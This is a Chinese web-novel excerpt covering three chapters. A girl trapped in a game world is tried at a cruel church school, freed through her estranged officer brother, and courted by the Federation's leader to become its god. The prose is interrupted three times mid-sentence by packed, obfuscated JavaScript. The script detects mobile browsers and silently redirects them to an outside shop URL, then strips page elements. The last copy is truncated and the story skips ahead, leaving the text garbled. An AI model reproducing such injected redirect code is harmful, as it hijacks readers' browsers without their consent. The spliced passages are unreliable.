《我不要当圣母啊！》 1. 天使教会 西阁楼靠窗的木床上，女孩安静卧躺，双手轻轻交叠在腹部，清晨的第一缕阳光犹如一根金线，从她的睫毛连到她微翘的唇角，她的皮肤莹白，近乎在阳光下透明。 “叮、叮——” 起床铃敲响第二声的时候，女孩琥珀色的双眸倏地睁开，手还放在腹部，身子已利落地从床上坐起。 掀开被子、下床、穿好外衫、把床铺理好、拿起枕边的《古德尼经》。做完这一切，起床铃刚敲到第八声。 池蔚立在床边，浓密的睫毛在莹白的皮肤下投射出阴影，随后像是下定了某种决心—— “阿芙莎。”她伸手摇醒隔壁床熟睡的女孩，“起床铃。” 她言简意赅，阿芙莎的脸唰地白了，起床铃只有十四声，在第十四个“叮”响起时，还在床上躺着的人，会被审判——不，略过审判，直接处决。 阿芙莎腾地一下从床上下来，动静吵醒了身侧的女孩，甚至对面那一排。 “今天不是休息日吗？”池蔚对床的金发女孩不悦地皱眉，休息日是每周唯一能早晨七点才起床的日子。话刚出口，她捏住被角的手顿住了，这一刻，几乎所有清醒的女孩们都反应过来，阁楼瞬间响起剧烈的嘈杂声。 最后一个女孩的双脚刚落地，第十四声起床铃正好落下。 众人呼了一口气，却发现池蔚已经不见了。 有人没好气地说：“差点忘了，就是因为池蔚所有人今天的休息日都被取消了，天呐，还好蔻茜老师没有看见我们差点没起。” “她跑那么快做什么？她总是这样，假勤奋。” 阿芙莎把《古德尼经》拿在手上，瞪了她们一眼，“要是没有池蔚，你们今天都死了。”她眼神看向正欲开口反驳的金发女孩，把手指放在嘴唇中间，示意她闭嘴。 “别说这是她该做的，你们每天早上都是因为她才准时起来的不是吗？特别是你，有一次起床铃敲了十三下都起不来，是池蔚帮你的。” 金发女孩惨淡一笑，那天池蔚把她从床上踢下去了。 “所以，”阿芙莎总结，“西阁楼里因为赖床而被丢去供奉天神的人数远远少于其它三座楼，你们应该感谢她。” 说完，她头也不回地开门准备去楼下洗漱。 隐隐约约听见有人在背后小声地说：“那又怎么样？谁不知道今天要审判池蔚？她能活着回西阁楼吗？” 阿芙莎眉头一皱，加快了下阁楼的脚步。 *** 今天学校里的阳光很好，池蔚光脚走在草地上，心里有点膈应，生理上却没有任何不适。原主八岁就进了天使教会学校，信奉古德尼教，已经不穿鞋十一年了。 ……池蔚随手翻开《古德尼经》的内页，发现内容她都很熟悉。但是里面并没有写教徒都要光脚，也没有说必须在早晨六点起床祷告，更没有说违反规矩的人就要被丢去乱坟里供奉天神。这只是天使教会学校的规矩。 池蔚觉得头很痛。 她昨晚很兴奋地发现了一款叫做《神明的抉择》的游戏，点进去一看，整个游戏并没有什么特别之处，甚至奇异般地非常无聊，画面平静黯淡，bgm也是缓和悠扬的钢琴曲。 不如玩换装游戏。 池蔚向来喜欢玩刺激的、冲击力强的网游，更是大杀特杀经常拿MVP，她当下就“啧”了一声，看了眼用户数量，吐槽这可观的用户数字是开发者拿着枪抵在玩家脑后强制或者用超市免费领鸡蛋为诱饵逼迫玩家体验而产生的。 然后……然后她就被强制来了这里，甚至还有了一个“游戏系统”。不是网页上的简单触发键，是会说话可以交流的那种。 这是什么新型技术吗？不需要全息设备就能亲临现场沉浸式体验游戏。她想了一晚上没想明白，却顺带在脑子里过了遍这个跟她同名同姓小女孩的人生。 在天使教会学校，她的人生是日复一日的枯燥，第二声起床铃响起时睁开眼睛，是池蔚这个游戏角色多年习惯形成的肌肉记忆。 池蔚的适应力很强，尤其喜欢接受新鲜事物。关于原主的一切，她几乎都了解了，可翻遍整个脑子，死活都想不起昨晚发生了什么。 根据游戏系统讲述，昨晚池蔚擅自出了学校，并于晚上十一点才回到西阁楼。但按照规定，她在八点就该睡觉了。 今天本该是休息日，但池蔚的行为严重触犯了规定条例，今天早上八点，大教堂内将会举办一场盛大的审判。 她尝试着在脑中呼唤系统，可却迟迟没有得到回应。 如果说她现在还在游戏中，那么是否会跟她当初的设定有关呢？她刚进入游戏选择身份的时候，发现身份卡牌只能进行抽取，无法自由选择。 池蔚抬头望向阳光，眼睛轻轻眯起。她当时抽到的神明是……天神。 根据游戏介绍，天神大概就是一款用善良之心解救天下苍生的心软的神。 平心而论，她是想选邪神身份的，所以天神卡牌刚跳出来她就一下失去了兴趣，在被神奇漩涡吸进游戏的时候她嘴里还高喊着“我不要做圣母啊——！” 显而易见，她不想做救世主，这跟她的做人准则严重背道而驰。 漩涡里有她的卡牌名片，后面跟了一排字，【天神绑定玩家，降落3号祈祷场，地点：亚伊联邦】 所以这里是亚伊联邦？ 阿芙莎的声音由远及近，“池蔚，等等。” 池蔚转过身看她，阿芙莎喘了两口气，“还好你还没进大教堂。” “我为什么要去大教堂？”池蔚顺势问。 阿芙莎愣了愣，走近两步，伸手去摸池蔚的额头，池蔚没有躲避，却感觉额头上有些异样的感觉，阿芙莎的掌心好像蕴含着神秘力量，正一股一股地窜进池蔚的脑子里。 “你现在能想起昨晚的事吗？”阿芙莎叹了口气，“要是治愈能力能给自己用就好了，我只有D级，你的A级肯定能修好你的脑子。” 治愈？A级？她好像想起来了，是这里的学生都拥有的能力。 ……还真是天神预备役。 池蔚礼貌地把阿芙莎的手移开，用记忆中原主的语气温和地说：“谢谢，但我想我的脑子真的坏了。” 脑子坏了好啊，可以让她规避很多风险，在这个规矩森严的魔鬼学校里，脑子坏了总比下意识做出许多诡异行为的下场好。 阿芙莎很快就红了眼眶，“池蔚，我不想你死。明明你是学校里最优秀的人，你的结局不该是这样。” 池蔚生硬地伸手去拍了拍她的肩膀，然后猛地听到身后的怒喝。 “把她给我抓住！” 说话的是个瘦高的女人，她双颊凹陷，眼睛像鹰一样狠狠盯着池蔚，“昨晚为了不影响其她人的睡眠，我允许你仍然睡在西阁楼，但这不意味着你就可以随意在学校里游荡。” 池蔚双手分别被身边两个壮汉反折，阿芙莎焦急喊：“蔻茜老师，她只是在去大教堂的路上，没有乱走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055892|149210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔻茜踱步到池蔚面前，阴恻恻地看她：“你出卖了联邦的秘密？” 本来只是想吓吓这个平时品学兼优的“好孩子”，看是不是真的能诈出来什么。可女孩缓缓抬头与她对视，她竟然从池蔚眼中看出了一点挑衅的味道。 “联邦的秘密？”池蔚飞快垂眸，很快眼中布满疑惑，“蔻茜老师，我不知道什么是联邦的秘密。” 刚才那点挑衅荡然无存，好像是她眼花看错了一样。 蔻茜对两名壮汉使了眼神，“去大教堂。” *** 池蔚坐在审判席中间，眼神一抬就能看见墙壁上的挂钟。 现在才六点四十五分，距离审判开始还有一小时十五分钟，观众席上只有零零散散几个人，甚至面前台阶上围成半环形的审判官座位全是空的。她数了数，有九个座位，一个人也没来。 对池蔚来说，静坐一个多小时才是对她的审判。她想把手伸进左边的衣兜里，由于审判席位置狭小让她行动不便，伸手摸包的动作局促而艰难，她的手猛地从衣料上擦过，滑进衣兜，倏尔感受到手上一阵强烈的刺痛感。 她皱眉把手伸上来，虎口处有几道浅浅的血痕，破皮的地方有血珠渗出。池蔚低头看了眼身上的衣服，这是学生们统一的服饰，黄白色的、没有任何款式的、粗劣到快速划过可以把皮肤划破的衣服。 池蔚身上这件似乎洗过太多次，面料的厚薄都不均匀。她视线再向下，裤脚在她脚踝上方十厘米的位置。 在这里，学生似乎一切都不配拥有。 她无视手上的痛楚，重新把手伸回兜里，掏出两个白面团。 这是她早上从西阁楼下来之后，在大厅里看到的早餐。白面团是池蔚唯一能下咽的东西，其余的食物不是飘着几根烂菜叶的汤水就是泥土一样稀碎的饼干。 池蔚啃了一口白面团，面团硬得似乎能分离成颗粒状，仔细品还能嗅到一种难言的下水沟味直冲天灵盖。说味如嚼蜡都是抬举了，她正要吐出来，却很快想到自己现在的处境，于是默默吞了下去。 面团滑入喉咙的一刹那她脑中骤然浮现出原主小时候边啃面团吃野菜边看书的场景，几滴眼泪滴答落到书页上，小池蔚倔强地把泪珠拂开，努力地吞咽着。 池蔚五官皱起来。 怪不得偷跑出学校是重罪，每天就吃这些东西，这不是虐待是什么？随便出去宣扬一声，学校不倒闭才怪。她现在严重怀疑池蔚昨晚根本就没有逃跑出学校。 就她这个身板，走了一半就会昏死街头。 身后似乎传来不少脚步声，人们陆陆续续走进大教堂，只能看见“罪犯”埋头苦干，不知道在认真忙碌些什么。 池蔚也想吃快一点，可这白面团实在是太难吃了，她每啃一口都要下定很大的决心。 眼前的审判官席位也渐渐有人坐了上去，池蔚不在意，只专心地跟白面团战斗着，眼睛都没抬一下。 该说不说，的确还蛮饱腹的。池蔚将最后一点塞进嘴里，抬头望见一个一言难尽的眼神。 男人穿着深灰军装，身形板正，胸前挂着不少奖章，他手腕一翻，搭在席位的扶手上，露出璀璨夺目的钻石腕表。长腿自然随意地从台阶上垂下，军靴锃亮，一尘不染。 注意到池蔚的眼神，他若无其事地移开自己的视线，跟旁边的人交谈起来。 池蔚认得他，他是她的亲、哥、哥。 池塬。 他好像很嫌弃她。 2. 审判 池蔚对原主八岁前的记忆不是很清晰，只能知道个大概，需要仔细从记忆深处去挖。 原主生下来就没有母亲，父亲和哥哥对母亲的去向三缄其口。 回忆到这里，池蔚有短暂的愣怔，原主的经历跟她的很像，但她妈妈是意外去世的。 去除掉脑内“平行世界”的荒唐猜测，池蔚继续思考。 天使教会学校招收的学生有一个共同的特点——家里穷得揭不开锅了。亚伊联邦本来就不富裕，财阀贵族瓜分财富过后，剩下的全都是底层贫民。 即便学校并没有承诺会好好对待学生，即便人们知道在这里不听话的孩子会被丢进乱坟，他们也愿意把孩子送来——毕竟他们能得到一笔丰厚的报酬，是的，来天使教会学校，不仅不用交学费，还能倒拿钱。 池蔚眼神落到池塬俊美的侧脸上，他简直能被称为联邦的精英，财富、地位、样貌无一缺陷。旁边坐着的中年男人似乎是什么集团的掌权人，谄媚地问池塬有没有女友，如果没有的话，他的女儿适龄而美丽。 池蔚手指不自觉地深深掐进掌心，虎口上的伤痕因为用力而崩开。 十一年前，池家只是贫民区里最普通的一家，父亲赌博又酗酒，哥哥打工回家时沉默地把一张招生通知递给父亲。自此，池家的命运天翻地覆。 池塬冒着被父亲打死的风险，拿着“卖妹妹”的钱报名上了军校，一路坐到了军官的位置。 只是这十一年里，他一次也没有来看过池蔚。 池家因为池蔚实现了阶级跨越，但池蔚还在吃着白面团。 池蔚自认不是什么正义使者，但能清楚地察觉到此人的反派属性，秉持铲除一切异己的准则把池家父子纳入到敌对阵营。 另一边的审判官似乎看不惯中年男人的谄媚，她盯了盯池塬的腕表，幽幽开口：“池中将，你确定参与审判池小姐不会有失偏颇吗？” 池塬的目光终究还是落到了池蔚身上，薄唇似乎无声地在说：看，你让我多丢脸。 “我的职责是保卫联邦，对于泄露联邦机密或者与他国特工来往的行为零容忍。”池塬回答得很官方。 池蔚却敏锐地捕捉到了某个字眼。今天蔻茜也问她是不是出卖了联邦的秘密，原主昨晚到底经历了什么？他们这样问，是不是因为目前已经掌握到了什么信息，毕竟如果只是简单地偷跑出学校，能惊动联邦军方吗？还有，池蔚一直待在学校里，能掌握什么机密？ 池蔚一惊，钟声正好敲响。 与此同时，脑中的系统提示音也久违地响起。 【引导任务到达：查清学校的秘密】 【*引导任务是简单的小任务，但是奖励丰厚，意在引导玩家熟悉游戏世界】 【注意！您的卡牌是【天神】，请遵守卡牌规则】 【注意！请不要暴露您的玩家身份，部分NPC觉醒中】 【是否接受任务】 池蔚选了接受，这本来也是她好奇的，更何况玩了这么久的游戏，她还没有拒绝任务或者任务失败过。 虽然这不像打打杀杀直接刀了敌人那样简单，但是……也差不多吧？ 坐在审判官席位最中心的是一位面容沉静的女士，她看起来年纪不大，但举手投足之间有一种让人安定的稳健感。 “我是联邦法院的二级法官，诺恩。昨晚我接到天使教会学校的申请，作为首席参与对脱逃者的审判。”诺恩翻阅着手中的资料，介绍剩下的八位审判者。 “……联邦星湾军区指挥员池塬中将。”诺恩眉头皱起，“池中将，资料显示，池蔚是你同父同母的亲妹妹。谁请你来的？” 池塬轻拨弄胸前金灿灿的奖章，满不在意：“我自己要来的，已经经过了审批，你无权质疑。” 池蔚眉毛轻微地挑动，池塬不是出于对她的关心而来，他没理由来当众回味自己当初的“黑历史”，同样，更不会是为了抹杀这段黑历史，否则这十一年她不会平安度过。 诺恩不知是嘲讽还是自嘲，嘴角勾起“呵”地笑了声。 无视规则的特权者。 她低头凝视狭小审判席上坐得很端正的池蔚，她嘴角上和面前的桌板上还有一些灰白色的碎屑。 诺恩一开口，就是扑面而来的压迫感。 “我们会轮流问你问题，不许撒谎，否则你将会受到惩罚。” “我先问，昨晚六点下了晚课，你并没有去餐厅吃晚饭，你去了哪里？” 池蔚微微垂头，似乎很认真在思考这个问题，几秒后，她懊恼地举起手捶打自己的脑袋，颓丧地说：“法官姐姐，我真的忘记了，我好像被人陷害了，昨晚六点之后的记忆全部消失，头也好痛。” 说完，她透过手臂缝隙悄悄抬眼看诺恩的反应，诺恩听到她的回答后，停顿了大概两秒钟，面上的神情有了一点松动。 是肉眼可见的一点松动。 池蔚并没有撒谎，她的确缺失了这部分记忆，而诺恩，好像相信她没有撒谎。 阿芙莎说她们都有治愈的能力，她们的存在跟天神有关。那么诺恩作为法官，会有鉴定人是否撒谎的能力吗？ “那从六点到十一点之间发生的事情，你还记得哪些？你本来是要做什么？”诺恩又问。 半晌，池蔚缓缓摇头，无比庆幸自己什么都不知道。就像每次玩狼人杀一样，开局她只会孜孜不倦地重复“我是平民”，朋友狡黠地看着她笑，可她真是平民。 “什么都不记得……本来也没有其他事情要做。”她怯怯地出声，“法官姐姐，我能问你一个问题吗？” 诺恩迟疑片刻，而后开口：“你说。” 池蔚问：“如果今天的审判结果是我被定罪，我会有什么结局？” 池蔚觉得这跟池塬来的目的有关。 诺恩严肃地说：“坏结局是你会被判处死刑，稍好一些，坐牢；更好一些，离开学校，回归平民身份。” 学校果然有秘密。 池蔚注意到池塬按住扶手的指头紧了紧。 先前那个问池塬是否单身的中年男人懒懒一笑，对诺恩说：“诺恩小姐——” 诺恩不悦地打断他：“请叫我法官，周会长。” 周会长砸吧几下嘴：“好好好，诺恩法官，我觉得这样问是问不出结果的，你的方式太过文明，有的时候对于不同的人要有不同的手段，这种小丫头，打一顿就乖乖听话了——怎么可能那么巧合，她刚失踪，外面就传来反……” “周会长！”诺恩狠厉的目光扫过去，已经有两个诺恩带来的警卫靠近他，他瞬间蔫下来，“我随便说说……” 却有好几个人把周会长的话听进去了，纷纷给诺恩建议：“她只是个刚成年的小孩儿，扛不住严刑，不如就这样办，更高效？” “诺恩法官，你也没有更好的办法了吧？” 就连观众席上的学生也附和起来，为首的是一个男孩。 贺洺是学校的万年老二，谁能想到昨天他还在愁怎么超过池蔚成为第一，今天机会就这样送上门了。他喊了声：“池蔚肯定是装的，她在撒谎！” 不远处的阿芙莎忍不住反唇相讥：“你胡说！” “我跟池蔚是同学，她平时就鬼鬼祟祟的，我早怀疑她是叛徒了！”贺洺猛地从座位上站起来，“法官，她肯定不会承认自己犯罪的，您不能相信她说的话！” 有几个同住东阁楼的学生也高声议论起来。 “她还抢走了贺洺的第一。” “人品本来就不好。” “我看见她偷过餐厅的面包。” 大教堂里乱成一锅粥，池蔚淡定地转头看向观众席，目标精准锁定贺洺。 她记住他了。 然后她转回头，泪眼汪汪地对诺恩说：“我相信法官姐姐，你知道我没有撒谎。” 站在一旁的蔻茜老师很明显看出了诺恩的表情含义，诺恩的确相信池蔚，可也没有办法说服众人。为了避免闹得不可开交的局面，蔻茜决定站出来。 “我这就把这孩子带下去好好审审。”说着蔻茜伸手拉开审判席的钳制，要把池蔚带出来。 池蔚却紧紧抱住面前的桌板不放手。 诺恩正要开口，突然听见池蔚对着池塬大喊：“哥，我是你的亲妹妹！” 空气中爆发了几声讽笑。所有人的目光都转向了池塬，而他只是冷冷地看着脚下的台阶，并没有理会池蔚的呼救。 谁不知道池塬不喜欢这个妹妹，甚至是极度厌恶？不然这么多年池塬早就把池蔚接走享福了。 “软骨头，”贺洺笑着朝身后几排扫了一眼，“西阁楼的蠢货们。” 阿芙莎正欲起身，被身边人狠狠一拉。 “别惹他，你还嫌西阁楼不被针对吗？” 蔻茜加大了力度，俯身到池蔚耳边低声说：“松手，不要让大家都难堪。” 池蔚惊疑地盯着蔻茜，慌张摇头，“不要……我不要挨打，我承认我是叛徒就不会挨打吗？那……” 她本来轻轻跟蔻茜推拉着，这会儿整个人劲儿大得不可思议，泥鳅般从蔻茜的手臂间滑出来，死死粘在审判席上。 “哥！我很怕痛，我会被屈打成招然后认罪的！” 蔻茜眉头紧皱，又呵斥了她一声：“不要干扰审判官！” 话音刚落，深灰色军装却倏地从她眼前闪过，池塬从位置上站起来，琥珀色的瞳孔盯住池蔚，一字一句地说：“我妹妹不可能犯罪。” 池蔚松了口气，知道自己赌对了。 池塬今天来这里就一个目的，保住她天使教会学校学生的身份。 审判官席位上的人多半不敢出声反对池塬，只有之前质疑他来意的那位女士了然般地摇了摇头，她就知道是这样的结局。所谓的审判不过是一个过场，大家都只是来坐坐喝杯茶而已。 换做在以前，诺恩肯定不会容许这种情况的发生，可她刚才动用了异能，池蔚的确没有撒谎。她真的什么都不记得，从主观上来说，池蔚没有做叛徒的动机和想法。按照她的职业道德和修养来看，起码不能给池蔚定下反叛罪。 她现在缩在审判席上，变成小小一团。眼睛里充满了水雾， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055893|149210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜兮兮地看着她，好像一只待宰羔羊等她宣判自己的未来。怎么看都不像是会犯罪的人。 诺恩看了眼池塬，“池中将……” 池塬打断她：“我了解我妹妹，她胆小懦弱，她不敢。” “联邦政府那边，我会打报告。至于审判程序，我想也没必要走下去了。”他扫视了审判官席位的所有人，最后目光定格在蔻茜脸上，“你们对她有偏见。” 诺恩点头，干脆地宣布池蔚暂时无罪。 随后看向蔻茜，“蔻茜老师，结束了。我们走后，希望你不要体罚她。” 蔻茜不好意思地笑：“当然。” 眼看着众人调笑着走出大教堂，贺洺愤愤地将手里的书扔在地上。 池蔚因为她哥是有头有脸的人物，竟然就被这么轻松地放过了？就连联邦二级法官都要顾忌他的脸色？ 凭什么？ 明明他才是最佳的天神人选。 *** 池蔚被人从审判席上释放，她小心地拿起地板上被她端正放好的《古德尼经》，然后往大教堂门口走，走了几步，听到身后有皮靴蹬地的声音。 她识相地顿住脚步，转身面对他，盯着他那双干净的军靴。 真好看，她也想穿。 池塬看着这个十年不见的妹妹，心里没有一丝波澜，他甚至忘了当初他称呼她什么，叫名字？叫昵称？叫妹妹？ 不过都无所谓了。 “你最好在最后的这几天安分守己一点，不要再发生这样的事。”池塬语气僵硬。 池蔚疑惑地抬头：“最后几天？哥哥可以说得再明白一点吗？” 池塬突然俯身按住池蔚的肩膀，“别给我装，你的演技太拙劣了。” 也就是这个时候他才承认血缘的强大，他能一眼看破她的狡猾和伪装，因为曾经的他也是如此。 怪不得是亲兄妹呢，池蔚邪邪一笑，把池塬按在她肩上的手指一根根掰开。 “看出来了啊……”她低喃。 “那哥什么时候把偷走我的十一年还给我？” 池塬不怒反笑，跟池蔚相同的瞳色此时有些微微泛红，“等你以第一的成绩从学校毕业，你会拥有无数个十一年。” 池蔚像听懂了他话中的深意一般，一边轻轻点头，一边环视整个大教堂。 人都走得差不多了，除了…… “哥哥会让我平安在学校度过最后几天吧？”池塬顺着池蔚的目光看过去，有个棕色长发的男孩坐在观众席第一排，脚边的《古德尼经》像是被人泄愤而摔，有几页甚至掉出来，露出黑色的大陆通用字体。 池蔚虔诚地捧着她的《古德尼经》，面带微笑地走向贺洺。 在原主的记忆里，贺洺不止一次欺辱她陷害她。刚才的审判也是他带着观众席闹腾起来。原主不记仇，可池蔚是最记仇的，今天的审判官里主张对她用刑的，她每一个都记住了脸。 贺洺离她最近，那就从他开始喽。 池塬眉头皱起，“你想干什么？” 池蔚没理会他，赤着脚走到贺洺面前站定，她眼睛亮亮的，甜美的声音似从天外而降。 “贺洺。” 贺洺疑惑地看着池蔚越来越翘的嘴角，她明明在笑，却让人瘆得慌。 瘦弱又惨白的一只手突然出现在他眼前，一阵风似的刮过，“啪”的一声，响彻整个大教堂，甚至还有回音在他耳边炸开。 池蔚仍然在笑，贺洺只愣了一瞬，而后发了狂一样地冲向池蔚，池蔚却是迅速退后几步翻开《古德尼经》，轻柔的声音坚定而有力。 “序言，毁坏古德尼经者，非经饶恕，死。” 贺洺的目光看向脚边被他扔下地的《古德尼经》，身形微微颤抖。 池蔚身上像镀了一层圣光，伸手指向贺洺。 “跪下。” 贺洺几乎没有犹疑，他是虔诚的教徒，他一生都在为成为天神而准备着，他慢慢伏地，长发垂下肩头落在砖红色的地板上，他忽然觉得嘴角有什么东西流出来，地板上很快出现几滴血水。 池蔚把他扇出血了。 他眼中难掩滔天恨意，却还是忍不住对她说：“求求你，不要告诉蔻茜老师。” “当然，我的孩子，”池蔚抚摸他的头，像在摸一条狗，“我宽恕你了。” 她真把自己当作天神了？贺洺嘴角抽搐。 “快回去把书粘好。” 贺洺听话地拿起不远处的书册，逃似的离开了大教堂。 池蔚的肩膀在抖动，她憋不住笑了，她的演技拙劣吗？她觉得很好啊。 池塬盯着她，想要把她看穿。 他的妹妹有病。 池蔚笑够了，随口问系统：“除了那个没用的治愈能力，我难道没什么高级技能吗？” 天天扇人耳光也不是个办法啊。 【玩家001，池塬是星湾军区最高指挥官，他手里有很多资源。】 然后池塬看着池蔚笑得一脸邪恶地朝他走过来。 “哥，你也不想我不开心吧？” 3. 希莱琳 大教堂后面有一条小河，波光粼粼的河水流出木瓢随着少女的动作撒入红色的绸缎上。池蔚看着阿芙莎像瀑布一样的红色卷发倏地变得鲜艳起来，随即一把攥住自己大把的灰粉色发丝。与其说是灰粉色，不如说是有灰有粉的断层怪异发色。 “今天居然可以休息，洗头真舒服啊。”阿芙莎愉悦地揉搓自己的头发，看见池蔚的动作，顿了顿，“池蔚，其实你的头发很好看，一点也不怪，大家都觉得很特别。” 池蔚对于好看与否没什么概念，只觉得这是因为营养不良造成的怪异颜色，“你不觉得很麻烦吗？洗头要洗几个小时吧？” 她比了比，头发长度厚度大概可以用来做一根拖把。 阿芙莎笑，“那有什么办法？要是可以剪短就好了，但是不被允许。” 想也知道又是学校的规定，池蔚没继续问，眼神望向阿芙莎的身后。 一个皮肤黝黑，体格健硕的女人走过来，手里抱着一个带锁的木箱。阿芙莎握住头发顺着池蔚的眼神看过去，讨好地叫了声：“丹乐楼长。” 池蔚立马坐直身子，眼睛弯成一道缝，笑眯眯喊：“楼长好~” 来人眼角的疤痕可怖又明显，丹乐依旧板着脸，但还是伸手摸了下阿芙莎和池蔚的头。池蔚顺势把头俯低了些，然后疑惑地问：“这是什么呀？” “这是你哥哥让人送来的东西，”丹乐双手给池蔚递过去，“放在阁楼可能会被蔻茜检查，所以我来找你。” 池蔚接过箱子，没有立即打开，而是感激地看丹乐，“谢谢你。” 丹乐面无表情，手按回腰间的剑柄上，只留下一句“早点回阁楼”就走了。 池蔚立刻兴奋地摆弄起那个木箱子，木箱很沉，好东西一定不少。她拿起那个锁左看右看，阿芙莎问：“咦？丹乐没给你钥匙吗？” 池蔚说：“不需要钥匙。” 这不是传统的锁，锁面是一块显示屏，她伸手点了下屏幕，很快蓝光泛起，她的面容一下被锁面扫描完成，屏幕出现两排字——【身份识别结果：池蔚，唯一解锁身份，认证，解锁。】 “咔哒”一声，锁开了。 阿芙莎目瞪口呆，俨然一副“原来外面的世界已经发展成这样”的模样。 池蔚打开箱子，不仅有她要的维生药剂、匕首、剪刀、通讯器、小型手枪这些用品，还有一套崭新的衣服。 池蔚把小手枪拿起来，嫌弃溢于言表，阿芙莎则是紧张地吞口水，“我只看见学校警卫拿过枪，好可怕。你要这个干什么？” “可怕吗？”池蔚手指扣在按压扳机上，气定神闲地把枪口对准自己的太阳穴。 在阿芙莎露出惊恐神色的时候，池蔚突然笑起来，把手枪扔回箱子里。 说实话，她的确是从来没摸过枪，恐惧不比阿芙莎少。但是——这是一把玩具枪啊！？小学门口的小卖部就有买的，人还送一包子弹呢。 “假的，没有弹匣，没有保险装置，扳机也扣不动，”她继续埋头翻箱子，冷笑一声，“池塬竟敢耍我。” 阿芙莎轻呼，指着一沓灰色的纸说：“这么多钱。” 池蔚抓了一把，看到纸上写了“亚伊币”，还全是大面额的。她把钱放回去，拿起那个黑乎乎的砖头一样的通讯器，这东西她不好藏也不好随身携带，她记得她当时提到了池塬的腕表，她说他的腕表一看就不是用来看时间的。 她在木箱底层翻了几下，终于找到一个小小的手环，手环有点长，可套上去后就自动贴合上池蔚的手腕，尺寸正好。 系统的声音适时响起：【玩家001，是否安装本系统进入手环】 “安，”池蔚端详维生药剂玻璃瓶上的说明，“记得屏蔽池塬安的原系统。” 她把维生药剂拧开，透明的绿色液体里浮起星星点点的气泡。 俏皮道：“如果我中毒了，你要马上治愈我啊。” 阿芙莎一愣，只见池蔚一口闷了整支。 “怎么样？” 池蔚舔了口嘴唇，“味道不错，好像也不饿了。” 她低头从木箱里拿了三支出来塞到阿芙莎手里，阿芙莎说：“你只有十瓶……” “没关系，我哥还有很多。”池蔚把所有东西收回木箱，起身打算回阁楼把箱子藏好。 阿芙莎却突然大叫一声。 “池蔚！你看！” 池蔚转过身，顺着阿芙莎的目光看过去，她的木瓢浮在河中央，此时正被某种生物拱来拱去，不停地吞吐着河水。 她将木箱放下，拿一些面积大的树枝遮住。挽起裤脚慢慢踏下水，双手呈抓握状，粗略计算了折射角度然后猛地向下，快准狠地捞起木瓢下滑溜溜的一条……鱼。 被池蔚捧在阳光底下，它的鳞片开始泛起闪耀的蓝光。 阿芙莎往后缩了两步，“它的眼睛也是蓝色的……” “优美的曲线，淡雅的色彩，钻石一样的眼睛，”池蔚眉头一挑，观赏起这条无比绚丽的鱼，“浑身都是宝。” 说完，她轻舔了一下嘴唇。 阿芙莎“啊”了声，“可它很不正常……或许是变异了，你把它拿在手上这么久它都没有动过……而且，不知道它会不会是索兰西的海洋生物，如果是的话，我们应该保护它。” “这是古德尼经规定的。”她又补充。 池蔚握着这条鱼摸索着上了岸。 不用阿芙莎说她也能猜到，这种东西在游戏里多半拥有某种珍贵设定，可她不用她傻吗？ “既然你都这么说了，那它大概就是——嗯，索兰西的海洋生物了。” 阿芙莎松了口气，“那就把它……” “烤了吃吧。”池蔚冲她眨眼，“学校的饭菜太难吃了，我们好久都没吃过肉了，对吧？” “可是……” “再犹豫几秒，等蔻茜……”池蔚抬眼，打算找点树枝和石头，眼前猛地出现一张阴沉的脸。 蔻茜从嘴里挤出来几个字：“烤什么吃？” 手里的鱼却好像看得懂局势一样，腾地从池蔚手上跃出一道弧线，精准无误地扎进了河里。 池蔚举着空空的双手对蔻茜笑：“没什么。” 蔻茜难得没有发作，而是淡定微笑，随即恭敬地侧身，从她身后走出一个高挑的女人。 她神色张扬，棕发齐肩，纯白色的职业套装挺括贴身，剪裁得当的裤脚下是一双黑色的军靴。 池蔚想，她应该认识池塬，他们的鞋子是一样的款式。 希莱琳注意到池蔚的视线，也看向自己的靴面。这里的土质松软，她的鞋边沾上了不少泥土。 “我尊敬的元首，请原谅。”蔻茜深陷的眼窝变得惊恐，“我帮您擦干净。” 希莱琳平静地把她隔开，回以微笑，“只是一些泥土而已，这两个孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池蔚很清楚地知道这是对一个深受古德尼经熏陶的教徒的送分题。 “是的，天神不会允许战争的存在。” “古德尼经预言，这个月底，天神会降落到亚伊的3号祈祷场。”顺着池蔚的角度能看到希莱琳的眼睫闪动几下，“所以你应该准备准备了。” 池蔚拧住眉，“可我不是天神。” 希莱琳的声音低低的，“你就是天神。” “成为天神会有很多好处，有无数拥护你的教徒，有超脱平民的异能力，有花不完的金钱财富，也不会再饿肚子，而你什么都不需要做，只要静静地接受供奉。” “就连你的家人也会因为你而成为天族，变成联邦的一等公民，享有无边的荣耀。” “那坏处是什么呢？”池蔚刚问出口，脑中即刻警铃大作。 【玩家001，请谨记您的卡牌身份】 希莱琳像一位温和的长者，淡淡地笑：“没有坏处，我保证。” “我只是随便问问，元首大人，我乐意为您效劳，这是我的使命，但我有一个请求。” “请不要给我的家人无边荣耀，让我一个人拥有财富和地位已经是天神的恩赐，怎能再让我的家人来麻烦您？如果我的哥哥想要成为一等公民的话，应该自己付出努力，而不是背上特权者的骂名。他也有自己的骄傲，请您谅解。” “我明白。” 